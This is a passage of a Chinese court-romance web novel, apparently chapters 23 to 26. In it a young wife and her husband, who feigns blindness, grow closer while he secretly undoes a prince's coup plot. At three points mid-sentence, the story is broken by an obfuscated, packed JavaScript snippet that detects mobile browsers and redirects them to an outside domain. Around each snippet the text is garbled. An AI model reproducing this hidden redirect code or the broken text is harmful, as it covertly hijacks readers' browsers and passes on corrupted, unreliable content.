溪恍然大悟，之前怎么就没有发现，白白错过了那些时光。 他搂紧了怀里的姜知瑶。 - 第二天一早醒来，姜知瑶一个人呆坐在床上，捂着脑袋，不愿回想自己昨天晚上究竟干了些什么。 先是偷亲晏枕溪的时候被发现，再是在他面前大哭，然后还让他抱着自己出去看月亮？！ 姜知瑶欲哭无泪，她拿起一旁的布娃娃，对着它说：“你昨晚怎么没有阻止我。” 说完郁闷地捏了捏它的脑袋。 姜知瑶羞愤交加，晏枕溪不会觉得自己太莫名其妙吧。 但想起晏枕溪昨晚的温柔，姜知瑶又觉得昨晚其实也没那么糟糕。 等姜知瑶终于接受完昨晚的事实后，平复好心情后，晏枕溪好似知道一般，推门进来了。 他手里还端着早食，姜知瑶见状便要下床帮他，但等姜知瑶走到晏枕溪面前时，晏枕溪已经把早食放在一旁的小桌子上了。 “阿瑶醒了？”晏枕溪察觉到动静，面向姜知瑶说道，“我给你带了早饭，在屋里吃就好。” “嗯。”姜知瑶声音有些闷闷的，不敢抬头看他。 晏枕溪搂住姜知瑶，在她额头上亲了一下，动作做起来无比自然，然后笑着说：“去洗漱吧。” “嗯。”姜知瑶头脑突然迷迷糊糊起来，有些僵硬地走到一旁开始洗漱。 刷牙的时候，姜知瑶脑海里闪过昨晚晏枕溪抱着她亲的场景，越想，姜知瑶的脸越发烫了起来。 她拿起一旁的毛巾，捂住脸试图降降温，发出一声小小的懊恼声。 洗漱完，姜知瑶开始用膳，晏枕溪就静静地坐在一旁，看上去和往常没什么不同。 姜知瑶在心里开始唾弃自己，其实也没什么，平常心平常心。 吃完后，姜知瑶犹豫着开口：“抱歉，夫君，昨晚打扰到你了。” 在姜知瑶看来，昨晚她实在是有点太无理取闹了，明明平时自己是不会这样的。 “阿瑶。”晏枕溪的声音很温和，但带着一点点的委屈，“你明明昨晚不是这样叫我的。” “啊。”姜知瑶抬眼看他，等回忆起来什么后耳尖发红，“……枕溪。” “嗯，阿瑶。” 无端的，姜知瑶竟然觉得叫名字比叫称呼还要让她觉得缠绵亲近一点。 “阿瑶吃好了吗？”还没等姜知瑶反应些什么，晏枕溪紧接着问道。 “好了。”姜知瑶如实回答，完全没有想起来自己原本要问些什么。 晏枕溪轻笑着绕过桌子走到姜知瑶面前，俯下身吻住了姜知瑶。 不知道是不是因为眼睛的问题，晏枕溪的唇瓣最先落在了眼睛的位置，然后再慢慢地往下，让姜知瑶泛起一阵痒意。 最后吻住姜知瑶的唇。 辗转缠绵一会后，晏枕溪松开，看着脸颊红透，轻颤睫毛的姜知瑶，带着点喘气地说：“昨晚的阿瑶咸咸的，今早是小米粥味道，甜甜的。” 闻言姜知瑶简直要冒烟了，怎么、怎么这样说…… “阿瑶永远都不会打扰我，如果昨晚我真的睡着了，那才会让我难过，因为我错过昨晚的阿瑶了。”晏枕溪认真地回答她刚刚的话，“如果阿瑶还是觉得打扰了，那就再给我一个亲亲好了。” 24. 小食 看着面前温柔的晏枕溪，姜知瑶犹豫了一会，闭上眼睛，慢慢凑过去吻了下晏枕溪的唇。 晏枕溪目不转睛地盯着姜知瑶，见她靠近，连呼吸都不自觉屏住。 像是蜻蜓点水一般，一触即分，但足以让晏枕溪愣神，他没有想到姜知瑶真的会主动。 姜知瑶退开后看着晏枕溪认真地说：“那我们就做一对真正的夫妻。” 对于晏枕溪这段时间的靠近，姜知瑶多少都是有点猜测的，只是不敢确认，但看着如今一点都不退缩，温柔主动的晏枕溪，姜知瑶知道自己不是在做梦。 那就做一对真正的夫妻好了。 她真的拒绝不了晏枕溪，梦中的场景就出现在眼前，姜知瑶想，那就勇敢一点好了。 而且昨晚的难过早已被晏枕溪抚平，姜知瑶莫名地生出一些底气。 说完后姜知瑶微微别开眼，小声地说：“……刚刚那个是回礼。” 是作为夫妻之间的一个回吻，不是因为晏枕溪之前说的话。 晏枕溪当然听明白了姜知瑶话里的意思，他嘴角止不住地上扬：“谢谢阿瑶。” - 姜知瑶觉得，和晏枕溪成为真正的夫妻，好像和之前也没什么区别。 还是一起用膳，一起共寝，一起散步，一起聊天下棋。 不过还是有点不一样的。 姜知瑶抿了抿有些发麻的嘴唇，有些不好意思地开口：“枕溪。” “怎么了？”晏枕溪停下动作。 “今天不能再亲了。”姜知瑶认真地说。 “为什么？阿瑶不喜欢吗？还是我哪里没做好？”晏枕溪的脸上还带着眼纱，姜知瑶看不见他的眼睛，但就是无端觉得他的眼角在可怜地下垂。 “没有。”姜知瑶轻声说道，“就是，我舌头都有点疼了。” 这几天，晏枕溪总是在亲她，睡醒后亲，用膳前亲，用膳后亲，念书的时候亲，睡觉前也要亲。 姜知瑶其实也喜欢亲亲，但这实在是……太频繁了。 见晏枕溪听完后又凑了过来，姜知瑶连忙用手拦住晏枕溪：“你干嘛。” 晏枕溪随着姜知瑶的动作停下：“那今天最后一次好不好，我要出去了，好晚才能回来，估计连晚膳都不能和阿瑶一起用了。” “就一次，我不进去，轻轻的。”晏枕溪低声说。 “那好吧。”姜知瑶放下抵挡在两个人之间的手。 晏枕溪亲了上去，没有分开姜知瑶齿贝，一直在唇瓣上轻吮，尤其是在唇珠上面，让姜知瑶的唇感觉酥酥麻麻的。 等分开的时候，姜知瑶的唇珠显得格外水润。 “我会尽量早点回来的。” “好，我等你回来。”姜知瑶点点头。 - 京城里一处偏僻的别苑里。 “大人，这就是昨天抓到的人。”侍从毕恭毕敬地帮晏枕溪打开了铁门。 昨天有一群暗卫来刺杀晏枕溪，这里面关着的是那群暗卫的头目。 “问出来什么了吗？”晏枕溪的语气很平淡，没有一丝感情。 “没有。”侍从头更低了。 “知道了。”晏枕溪走了进去，明明是锦衣玉冠矜贵的公子，但在看到眼前人满身触目惊心的伤痕时眼睛都没眨一下。 “你是大皇子的人。”话语中带着肯定的意味，“最近换了兵部侍郎，他着急了。” 刑架上的人没有说话，抬头恶狠狠地盯着晏枕溪。 看着晏枕溪那双完好，还带着点压迫感的眼睛嗤笑了一声：“你没有瞎。” “主子果然猜对了，是你在背后，你帮的是哪个皇子？” 刑架上的人是大皇子身边最得力的手下，一个从小跟在他身边的暗卫，帮他在暗地干了无数的事情。 在发现朝堂上的自己人不断被换后，大皇子着急了，在发现有可能是晏枕溪做的后，便让他带人去刺杀晏枕溪。 明明早已做了准备，若是不得手便离开，但没想到，还是被抓住了。 “你家主子应该是没有别的后手了，不然也不会这么狗急跳墙地派你来暗杀我。”晏枕溪淡淡说道。 暗卫没有正面回答他：“我知道你今天来是想干什么的，我是什么都不会告诉你的。” “哦？”晏枕溪轻笑了一声，“真的？你们的那个计划，就一点都不能告诉我吗？” 暗卫垂下头没有看晏枕溪，开始疑心起来，他难道知道些什么？ 看着暗卫脸上的神色变化，晏枕溪慢悠悠地开口：“那种完全不切实际的东西还能被叫做计划吗？” 暗卫闻言惊讶地抬头看着晏枕溪，接着便安慰自己，他不可能知道具体的内容的。 但等暗卫稳住心神后，晏枕溪又开口：“三天后的丑时，联合他的好舅舅，在东南门逼宫是吗？” 语气平淡，好像说的是什么再平常不过的事情。 宛若平地起惊雷，暗卫猛地瞪大眼开口：“你怎么知道的怎么清楚？！” 晏枕溪轻笑了一声：“放心，不会浪费你家主子的这个计划，多亏了他，这真是一个再好不过的投名状了。” 电光石头间，暗卫想起了什么，他咬牙切齿地说道：“秦横是你们的人，对吗？” 秦横是大皇子前两年招募的一个谋士，深得大皇子看重，这个计划提前知道的手下只有秦横和他，大皇子的舅舅是肯定不会泄密的，那就只有秦横了。 晏枕溪挑了挑眉：“脑子还可以嘛，不亏是你家主子最看好的手下。” 圣上如今身体越来越不好了，明明到了应该立储的时候，他却迟迟未有动静。 手中的权势还死死攥在自己的手里，不肯漏出一星半点，大皇子早就对此心有不满。 按嫡庶来说，大皇子是正宫皇后所出，按长幼来说，大皇子也是圣上的长子，且大皇子为人又无过错，于情于理，这储君之位都是要给大皇子的。 但面对群臣早日立储的提议，圣上却一直语焉不详，反而日渐偏爱那个软弱无能的四皇子，大皇子便越发着急起来，心有不甘，在加上自己人在朝堂上的失利，只能出此下下策。 暗卫知道，他是肯定不可能再活着离开这里了，原本还坚持着想等大皇子来救自己，但如今看来，只怕是希望渺茫。 “你就不怕打草惊蛇吗？”暗卫颓然问道。 晏枕溪但笑不语，转身离开了牢房。 在他离开的瞬间，暗卫咬舌自尽。 今天结束的比想象的要早，赶得上晚膳。 晏枕溪看着还有些亮的天色想到。 - “阿瑶，我回来了。”门口传来了晏枕溪的声音。 姜知瑶从房间里出来，走到晏枕溪面前有些惊喜地说：“你回来啦？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004305|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“嗯。”晏枕溪手里拿了一根糖画，等姜知瑶到面前时才举了起来。 是一只小兔子。 “给你的。”晏枕溪笑着弯腰递给姜知瑶，“回来的时候路过了一条街，街边有许多小食，闻着挺香的，想着你爱吃，就都买了一点回来。” 姜知瑶偶然馋嘴，会让人去府外买些小食带回来。 晏枕溪身后的侍从手上还拎了许多包装。 姜知瑶接过糖画，眉眼带笑：“谢谢枕溪，先进来吧。” 看着桌上的小食，姜知瑶怀疑他把整条街上的都买回来了。 有冰糖葫芦、桂花糕、驴打滚、银丝糖、绿豆糕、糯米藕、豆花…… 姜知瑶对晏枕溪说道：“有点太多了，分点给其他人吃吧。” “好。”晏枕溪温声应到。 姜知瑶每种小食都留下一点，其他的让南枝拿过去分掉。 她看着手中栩栩如生晶莹的糖画，递到了晏枕溪的嘴边：“你先咬一口。” “好。”晏枕溪低下头，张嘴把小兔子的尾巴给咬掉了。 “好甜。”晏枕溪嘴里含着兔子尾巴说道，舌头慢慢舔走了粘在唇上的糖屑。 姜知瑶看着晏枕溪动作不由脸一红，有点想亲他。 姜知瑶忍住，低头咬了一口糖画，是刚刚晏枕溪咬过的位置。 “甜吗？”晏枕溪问道。 “甜。”姜知瑶慢慢含着口中的糖画，觉得有些奇怪，明明是再普通不过的麦芽糖，怎么会甜进心里。 尝完糖画后，姜知瑶慢慢吃起了桌上的小食。 “唔。”姜知瑶眼睛亮晶晶的，“这个桂花糕好好吃。” 甜而不腻，又不失桂花的香味，口感也刚刚好，软糯又不粘牙。 “是吗？我尝尝。”说完晏枕溪便凑了过去，姜知瑶下意识地举起了手中被咬了一口的桂花糕，上面还有一排小巧的牙印。 “等等。”见晏枕溪快要碰到姜知瑶才反应过来，“我给你换一个。” “为什么要换？”晏枕溪用嘴咬过糕点，似是无意的，唇瓣蹭过姜知瑶的指尖，随后慢慢尝着口中的桂花糕笑道，“这个这么好吃。” 看着晏枕溪自若从容的表情，姜知瑶没说话，拿起了一个绿豆糕递到晏枕溪的嘴边。 晏枕溪下意识便张嘴吃了进去，但没想到这个绿豆糕实在太噎了。 怪不得刚刚她尝过后没有递给自己。 过了好一会，晏枕溪才咽下去，看到姜知瑶微微勾起的嘴角，心里没有半分自己被捉弄的感觉，只觉得实在可爱，心里有些痒痒的。 等姜知瑶和晏枕溪差不多每样都尝了一些后，姜知瑶已经很饱了。 她看着一旁的晏枕溪，问道：“要一起去散步吗？” “当然。”晏枕溪笑着回应。 还是只有他们二人，但和之前有些不同的是，晏枕溪牵起姜知瑶手的动作无比自然。 与第一次一起散步时有些紧张的心情截然不同，姜知瑶现在只觉得放松，晚风拂过，两人牵手处的衣袖彼此交融在一起。 远远望去，衣服的褶皱就像水中荡起的波纹，月牙白与淡绿色交织在一起。 让人无端想象起春日夜晚的河边，水面上柳枝与月亮叠加在一起的倒影，轻柔的柳枝拂过洁白的月亮，扰乱了月亮原本无瑕的形状，却使其多了几分柔情，荡漾开一池春色。 25. 茉莉 晏枕溪近来时常出府，但不管怎样，都会尽量在晚膳的时候回来。 每次回来的时候，都会带回一些东西送给姜知瑶，前天是一个好看的手镯，昨天是一串精巧的铃铛。 今日姜知瑶没有出府玩，在府中打理一些事务，晚膳时间，她和往常一样等着晏枕溪，却迟迟不见人影。 门外有侍从急匆匆地前来传话，说今晚晏枕溪不回府用膳了。 “知道了。”姜知瑶有点失落，吃着桌上的饭菜，心不在焉。 用过晚膳，姜知瑶回到自己的房间，却觉得有些奇怪，怎么自己的房间现在变得空荡荡的了。 许多她喜欢或者用习惯的东西如今都不在了，姜知瑶想躺在躺椅上，找了一会才想起，那张躺椅已经搬去晏枕溪的房间了，就连小桌上那束用草编的小花连同花瓶都一快搬去了，还有她平时照料的几盆花草此刻也不在。 姜知瑶失笑，离开了这个房间。 夜渐渐深了，姜知瑶放下手中的刺绣，揉了揉有些酸胀的肩膀。 南枝在一旁边帮忙收好东西，边说道：“小姐，如今慈幼堂那边已经没有什么缺的东西了，而且光用月俸就算再捐赠几个慈幼堂也绰绰有余，为何还要刺绣？” 姜知瑶以前靠刺绣和抄书获得一些额外的薄利来进行捐赠，如今这个习惯还没有改变，倒是不怎么抄书了。 因为姜知瑶的绣工好，慢慢的也愈发精进，绣品早就有了一些固定的店铺接收，虽然得到的利润也还可观，但南枝觉得一点都不划算。 刺绣太伤眼睛了，而且姜知瑶花在一件绣品上的时间往往就要一个月甚至更久，但姜知瑶现在有的那些店铺一日收益加起来就抵得上姜知瑶卖一件绣品的钱了。 “左右我平时也没什么别的事情，和那些专门的绣娘比起来，我一日花在上面的时间和功夫都比不过她们的十分之一。”姜知瑶说道。 “小姐你怎么和那些绣娘比？”南枝不解。 “有什么不同的？我只不过是比她们好运一点罢了。”姜知瑶轻笑着摇头，“靠刺绣赚来的钱，和其他我所得到的相比，总是要让我更心安一些，也让我更高兴一些。” 而且每次看到最后精致好看的成品，都让姜知瑶觉得自己有点小小的厉害，但这个她不好意思和南枝说。 “你放心啦。”姜知瑶知道南枝在想什么，“我会注意的，不会伤到自己的身体。” 见南枝还要说什么，姜知瑶软声说道：“好南枝，帮我按按肩膀吧。” 南枝顿时说不出什么了，小姐喜欢就好，她收好东西，走到姜知瑶身后，慢慢按了起来。 到了要就寝的时候，晏枕溪还没有回来。 姜知瑶坐在塌上，原本是想等一会，但睡意渐渐袭来。 不知过了多久，晏枕溪风尘仆仆地进来，看着趴在小桌子上睡着了的姜知瑶哑然失笑。 原本还带着点凛冽气势的晏枕溪瞬间柔和下来，在姜知瑶旁边蹲了下来，伸手戳了戳姜知瑶被压的微微泛红的脸颊肉，嘴角勾起些许弧度。 他想抱起姜知瑶，把她放在床上，但刚一触碰到她的身体，姜知瑶就醒了。 “枕溪……”许是刚刚醒，语气有些黏糊。 听的晏枕溪忍不住亲了她一口：“嗯，我回来了，我们去床上睡，好不好。” “没事。”姜知瑶清醒过来，“你用过晚膳了吗？” 晏枕溪沉默了几秒，今天实在太忙了，没有来得及：“无妨，不吃一顿也不要紧。” “要紧的，我一直让厨房帮你温着。”姜知瑶认真地说，“你等一会，我现在让人端过来。” “好。”晏枕溪的心软了下来，觉得像是被柔软的棉花包裹住，暖乎乎的。 “这个给你。”晏枕溪拿起一旁被他放下的东西，“今天太忙了，只带回来了这个。” 是一朵小小的茉莉花，现在有些蔫了，但还在锲而不舍地散发那好闻的香味。 在回府的路上，晏枕溪闻见一股茉莉香，想着姜知瑶喜欢这些花花草草，便让人停下了马车。 是一丛生机勃勃的野茉莉，晏枕溪摘下一朵捻在指尖，心想，阿瑶肯定喜欢。 姜知瑶接了过来，放在鼻尖轻嗅了一下，莞尔道：“很香。” 见姜知瑶喜欢，晏枕溪接着说：“我还让人采了一株，你若喜欢可以养着。” “好。”姜知瑶的眉眼弯弯。 饭菜被侍从端了上来，还是热的，晏枕溪吃着，原本有些烧灼的胃变得熨帖。 之前他为了省事，晚上回来即使胃不舒服也不会再让人备饭菜，也不会有人来劝他。 暖黄的灯光旁，姜知瑶和晏枕溪不过一臂之隔，她正托腮，笑盈盈地看着晏枕溪用膳。 “好吃吗？”姜知瑶问道，“这个烤乳鸽是厨房新学的，但是要刚出炉的才最好吃。” “好吃。”是晏枕溪喜欢的口味，但可能是因为放久了，外皮有些软。 “那明天让厨房再做一次。” “好。”晏枕溪眼里盈满笑意。 温馨的氛围和饭菜的香气一起弥漫在房间，驱散了疲惫。 吃完后简单沐浴了一下，晏枕溪脱掉外衣上床。 许是刚刚睡过一会，姜知瑶现在并没有很困，晏枕溪看过去，姜知瑶的眼睛还是睁着的。 晏枕溪低笑了一声，想伸手将姜知瑶揽入怀中，但随着动作，脸上的眼纱有了些存在感，像在提醒些什么，晏枕溪停下问道：“阿瑶，你睡了吗？” “没有。”姜知瑶很快地回答他。 晏枕溪继续了刚刚的动作，感受着怀里的姜知瑶，只觉得好像有什么东西在被填满。 “我下次会早点回来的。”晏枕溪的头蹭在姜知瑶的脑袋上，“阿瑶下次自己睡就好了，不用等到这么晚。” “好。”姜知瑶乖乖应下，她原本也只是想等一会，没想到在桌上睡着了。 “那你要早点回来，在外面也要记得用晚膳。”姜知瑶认真叮嘱道。 “好。”这回轮到晏枕溪乖乖应下了。 晏枕溪笑了起来，轻吻过姜知瑶的发梢。 因为距离太近，眼纱拂过姜知瑶有些痒，姜知瑶缩了下脖子：“枕溪，你平时戴着眼纱会不会不舒服？” 虽然眼纱用的布料很轻薄舒适，但总归是不方便的。 “还好。”晏枕溪停顿了一下，“习惯了。” 其实还是会有一点不舒服的，但晏枕溪已经习惯了隔着眼纱看姜知瑶，而且借着眼纱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022097|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，可以更好的掩盖晏枕溪原本看得见的事实。 “睡觉的时候不方便可以不戴的。”姜知瑶有时候会看到晏枕溪因为脑袋后的眼纱系起来的结硌到而微微侧头。 姜知瑶觉得晏枕溪一直带着，可能是因为眼睛失明所以有些不自然，怕被自己看见，她宽慰晏枕溪道：“晚上我什么都看不到的。” 晏枕溪失笑：“好，那阿瑶帮我解下来，好吗？” 晏枕溪想，再等等，再等一段时间，他就告诉姜知瑶他眼睛的事实。 不止是因为三皇子和他所谋划的事情，晏枕溪觉得姜知瑶在只有他一个人的面前和有其他人在的时候不同。 在有其他人在的时候，姜知瑶很端庄矜持，很少露出什么喜爱或者讨厌的神色。 但或许是知道晏枕溪看不见，所以姜知瑶在他面前总是要更自然一些。 单独和他散步的时候，会到处左顾右看，步调也要更加轻快一些，在发现好看的花朵时，会先故作矜持地说要走过去摘一朵花，等松开他的手后又自然地挽起袖子露出小臂，兴冲冲地跑过去。 在吃到不好吃的东西时，也会皱起小脸，毫不掩饰讨厌的神色，可爱的脸蛋都变得皱巴巴的，然后会多夹几筷自己喜欢吃的，觉得好吃后又眉眼舒展开来。 在书房看书的时候，看累了会找到自己最喜欢的姿势坐着，不再挺直着背，有时晏枕溪看过去，姜知瑶窝在一旁，就像一只慵懒的小猫一样。 还有很多很多个姜知瑶放松的时刻，每每看到晏枕溪都觉得可爱极了，他不想错过如此可爱的姜知瑶。 至于他所谋划的事情，他不想让姜知瑶卷进来，怕她忧心，虽说如今已胜券在握，但有关姜知瑶，晏枕溪还是要小心再小心。 再等一会，等一切都尘埃落定，他就把所有都告诉姜知瑶。 “好。”姜知瑶答应下来，示意晏枕溪侧过身去，伸手要帮他解下眼纱。 晏枕溪顺着姜知瑶的动作侧过身，姜知瑶解开眼纱，微微起身绕过晏枕溪的脸颊取下。 等晏枕溪转过来后，时隔许久，姜知瑶看到了晏枕溪那双好看的丹凤眼。 说是夜晚看不见什么，但借着月光，姜知瑶还是大概看到了那双眼睛，和以前一样好看。 剑眉星目，原本是有些锋芒的眉目，却总是因为晏枕溪淡淡的笑意和温和的气质让人忽略其中暗藏的压迫感。 明明知道晏枕溪看不见，但在与晏枕溪“对视”的瞬间，姜知瑶还是莫名的心颤了一下，像是被烫到一样，姜知瑶避开晏枕溪的视线，垂眸躺下。 察觉到姜知瑶的一丝紧张和躲避，晏枕溪想，看来或许还要再多等一会，白日里也要依旧戴上眼纱。 晏枕溪搂紧了姜知瑶，声音有些闷闷地问道：“阿瑶，我的眼睛会难看吗？” “当然没有。”姜知瑶立马说道，然后像是有些掩饰地小声说道，“虽然晚上看不见，但肯定不难看。” 她也没说谎对吧，反正没看得很清楚…… “真的吗？”晏枕溪低声问道。 姜知瑶稍微大了点声：“真的。” “那阿瑶摸摸。” 姜知瑶愣了一下：“什么？” “摸摸看我的眼睛难不难看。” 26. 眼睛 说完晏枕溪便拉住了姜知瑶的手，侧躺抱着姜知瑶微微低下头来。 姜知瑶随着手的动作仰起头，晏枕溪握住姜知瑶的手，让她的指尖慢慢临摹自己的眉眼。 黑暗中，姜知瑶看不见晏枕溪的神色，指尖最先碰触到晏枕溪的眉头，然后是眉峰、眉尾。 碰到的瞬间，姜知瑶的手指蜷缩了一下，但下一秒晏枕溪主动把头靠得更近，姜知瑶避无可避。 眉毛过后是眼睛，从眼角开始慢慢摸着，晏枕溪每眨一次眼，姜知瑶就感觉心跳加快了一分。 整个过程晏枕溪一直盯着姜知瑶，姜知瑶也像是被吸引了一般，一边愣愣地望着晏枕溪的眼睛，一边感受着指尖的触觉。 姜知瑶其实最喜欢的，就是晏枕溪的眼睛了。 好看的眼里总是含笑，却又带着几分疏离，让人不自觉想探索，但在这之前，晏枕溪的眼神从来不会落在姜知瑶的身上。 姜知瑶总是在宴会的人群后，隔着缝隙看着晏枕溪，他的眼神有时会不经意地掠过姜知瑶，但足以让姜知瑶心悸。 而此刻，晏枕溪的眼神近距离地一直盯着姜知瑶，虽然知道他现在看不见，但姜知瑶莫名地感觉他就是在很专注地看自己。 还带着没有疏离感的温柔笑意。 “怎么样？阿瑶。”随着晏枕溪的询问，姜知瑶觉得他视线的存在感更强了。 像是突然回神了一样，姜知瑶的脸染上热意，慌乱地用手盖住了晏枕溪的眼睛。 晏枕溪低笑起来，连胸腔都在微微震颤，姜知瑶越发不好意思起来，手掌下的触感也很明显，纤长的睫羽不断扫过，泛起阵阵痒意。 姜知瑶又连忙把手放了下来。 “阿瑶。”晏枕溪又盯着姜知瑶看，尾音上扬，听得姜知瑶耳朵都热了起来。 姜知瑶小声说：“好、好看的。” “那阿瑶喜欢吗？”晏枕溪话语里还有止不住的笑意。 “……喜欢。”姜知瑶的声音变得更小了。 “什么？”像是没听清姜知瑶的回答，晏枕溪的头凑得更近了。 “喜欢。”姜知瑶清了下嗓子，声音稍稍放大，怕晏枕溪又没听见。 “那就好。”晏枕溪像是松了一口气后说道，听他的语气，好像眼睛被姜知瑶喜欢是什么天大的喜事一样。 姜知瑶有点害羞，因为自己主动表达出的喜欢和晏枕溪的语气，她把脑袋往里埋了埋，留着红红的耳尖在空气中。 “好可爱啊。”晏枕溪没忍住说了出来，像只掩耳盗铃，只把头埋进草里，然后颤颤巍巍的尾巴留在外面的小兔子一样。 “好了。”姜知瑶有些闷闷的声音传来，“很晚了，你要早点休息。” “好。”晏枕溪应下，然后又补了一句，“我都听阿瑶的。” 晏枕溪安静了下来，他今天一天确实很累了，在加上姜知瑶在怀了，没一会便睡着了。 窝在晏枕溪的怀里让姜知瑶觉得很舒服，她把脸蛋露了出来，也很快沉沉睡去。 清晨，阳光洒进室内。 姜知瑶迷迷糊糊地睁开眼，发现自己还躺在晏枕溪的怀里。 看外面的天色，早已过了平时醒来的时间。 这也是第一次姜知瑶醒得比晏枕溪早，以往醒来的时候，晏枕溪都已经在等她一起用早膳了。 身边的晏枕溪看上去还在熟睡，面上没有了眼纱，露出没有丝毫遮挡的面容。 姜知瑶看着晏枕溪的眉毛，想起了昨晚的触碰，无端地，她起了一些心思，轻轻地，更加缓慢地抚摸了起来。 比昨天晏枕溪带着她的手时的速度还要慢，晏枕溪并不是浓眉，姜知瑶说不出他的眉型，只觉得他连眉毛长得也很好看。 摸着有点毛茸茸的，她先顺着眉毛的长势摸了一遍，又从眉尾逆着摸了一遍。 姜知瑶想，手感还挺好。 接着指尖来到晏枕溪的睫毛处，晏枕溪的眼睛闭着，上下眼睑的睫毛合在一起，前段微微翘起。 姜知瑶用柔软的指腹慢慢蹭了几下，回想起昨晚手掌下他睫毛蹭过的感觉，眼里漾出笑意。 最后她的手指在晏枕溪闭着的眼帘上轻轻点了下，很轻很轻，仿佛带着无限怜惜。 晏枕溪的眼睛微微动了下，姜知瑶立马把手收了回去。 过了一会，看着还在熟睡的晏枕溪，姜知瑶安定下刚刚跳动不已的心脏，然后蹑手蹑脚地下了床。 等姜知瑶离开房间后，晏枕溪睁开眼，没忍住轻笑了起来，然后像是放弃抵抗般地把手背搭在了眼睛上。 为何她主动碰起来就这么、这么让人心痒。 - “欸，你们听说大皇子的事情了吗？”程明珠边吃着糕点边说道。 “没有。”姜知瑶摇摇头。 纪婉清也只是听到了一点动静，不知道到底发生了什么。 见状程明珠笑了起来，然后示意她们把头靠近，声音放得很小：“大皇子被废为庶人流放了。” “什么？！”姜知瑶和纪婉清纷纷惊呼，然后立马压低声音，尽管现在她们正在纪府上，侍从也不在身边，但听到这种皇家事情，还是不约而同地放小声音。 “我没骗你们。”程明珠继续说道，“我也是偷偷听到我爹在书房里和我娘说的。” “听说大皇子昨晚想逼宫，但他身边的一个谋士主动告诉圣上了。” “你千万别和其他人说。”听完后，纪婉清语气严肃地和程明珠说。 这等皇家丑闻，没造成什么不可挽回的影响，是肯定不会公之于众的，若是贸然说出去，怕是会引起不小的麻烦。 “这我当然知道。”程明珠拍了拍胸膛，“给我十个胆子我也不敢和别人说。” 莫名的，姜知瑶突然想起了晏枕溪这段时间的忙碌和昨天的晚归，刚冒头的一点的猜测被她强行压下，姜知瑶没有再多想。 “算了，不说这个了，说出来总是感觉有些吓人，你婚事准备的怎么样？”程明珠问道。 姜知瑶也随之看向纪婉清。 纪婉清和三皇子的好事将近，三皇子前段时间带着聘礼上门，整个京城都已经知道了。 “差不多都已经准备好了。”纪婉清说道，“只有婚服还差一点。” “马上就要叫你三皇子妃了。”程明珠笑着打趣道。 “团扇我已经绣好了。”说到这个姜知瑶把带过来的团扇递给纪婉清。 程明珠眼巴巴地看着包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039615|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裹着的锦盒：“能不能给我看看。” 姜知瑶和纪婉清当然不会拒绝。 纪婉清动作小心地把精美的团扇取了出来，刚一取出来，就听见了程明珠的赞美声。 “哇！”程明珠都变成了星星眼，“好好看！好漂亮！” 团扇以上好的缎绸为材，最中间是一个“喜”字，字的旁边围绕着栩栩如生的花鸟。 扇子的周围用好看的珠宝点缀，不失精巧和贵气。 纪婉清很是喜欢，一副爱不释手的样子：“多谢阿瑶！很好看，阿瑶的手怎么这么巧，全京城都找不出比这还好看还合我心意的团扇了。” 姜知瑶被夸的有些不好意思，但眼睛止不住的微弯。 比起纪婉清送的那些店铺，姜知瑶不知道可以送什么，就自己做了婚礼上要用的团扇。 “我也要。”程明珠拉着姜知瑶的衣袖，“好阿瑶。” 姜知瑶笑了起来：“当然，图案我都想好了。” “看来你和宣公子进展不错啊。”纪婉清笑眯眯地揶揄道。 “才没有。”程明珠嘴硬了起来。 但看着程明珠那分明有意的神情，姜知瑶也打趣道：“扇子怕是现在就可以开始准备了。” “好哇阿瑶！”程明珠作势要去挠她痒痒，“你也打趣我。” “纪姐姐救命！”姜知瑶笑着跑到纪婉清身后。 一片欢声笑语。 - 回府后，已是晚膳时间，晏枕溪正坐在正厅等着。 “阿瑶回来了？”听见动静晏枕溪温声问道。 “是我。”姜知瑶加快脚步走到他面前，“买了一个发簪给你。” 下午和纪婉清她们去逛首饰店的时候，姜知瑶在一旁看到了这个发簪，刚一看就觉得很适合晏枕溪，发簪通体用青色透亮的玉做成，上边是镶了金边的竹叶形状，款式简单又不失贵气。 姜知瑶把发簪递给了晏枕溪，晏枕溪摸着笑道：“我很喜欢，要阿瑶帮忙簪。” “好。”姜知瑶绕到晏枕溪身后，她不了解男子的发髻，一时有点不知道怎么下手。 “把上面原本的发簪直接拔掉就好，不会散的。”察觉到姜知瑶的犹豫，晏枕溪开口说道。 姜知瑶按照他说的，拔掉之前的发簪，然后轻轻地把买回来的发簪插进去。 等姜知瑶簪完后，晏枕溪笑着问：“好看吗？” “好看。”姜知瑶看着晏枕溪说道，“我觉得很合适。” 之前晏枕溪簪的是白玉做的发簪，很简单的款式，甚至都没有什么图案。 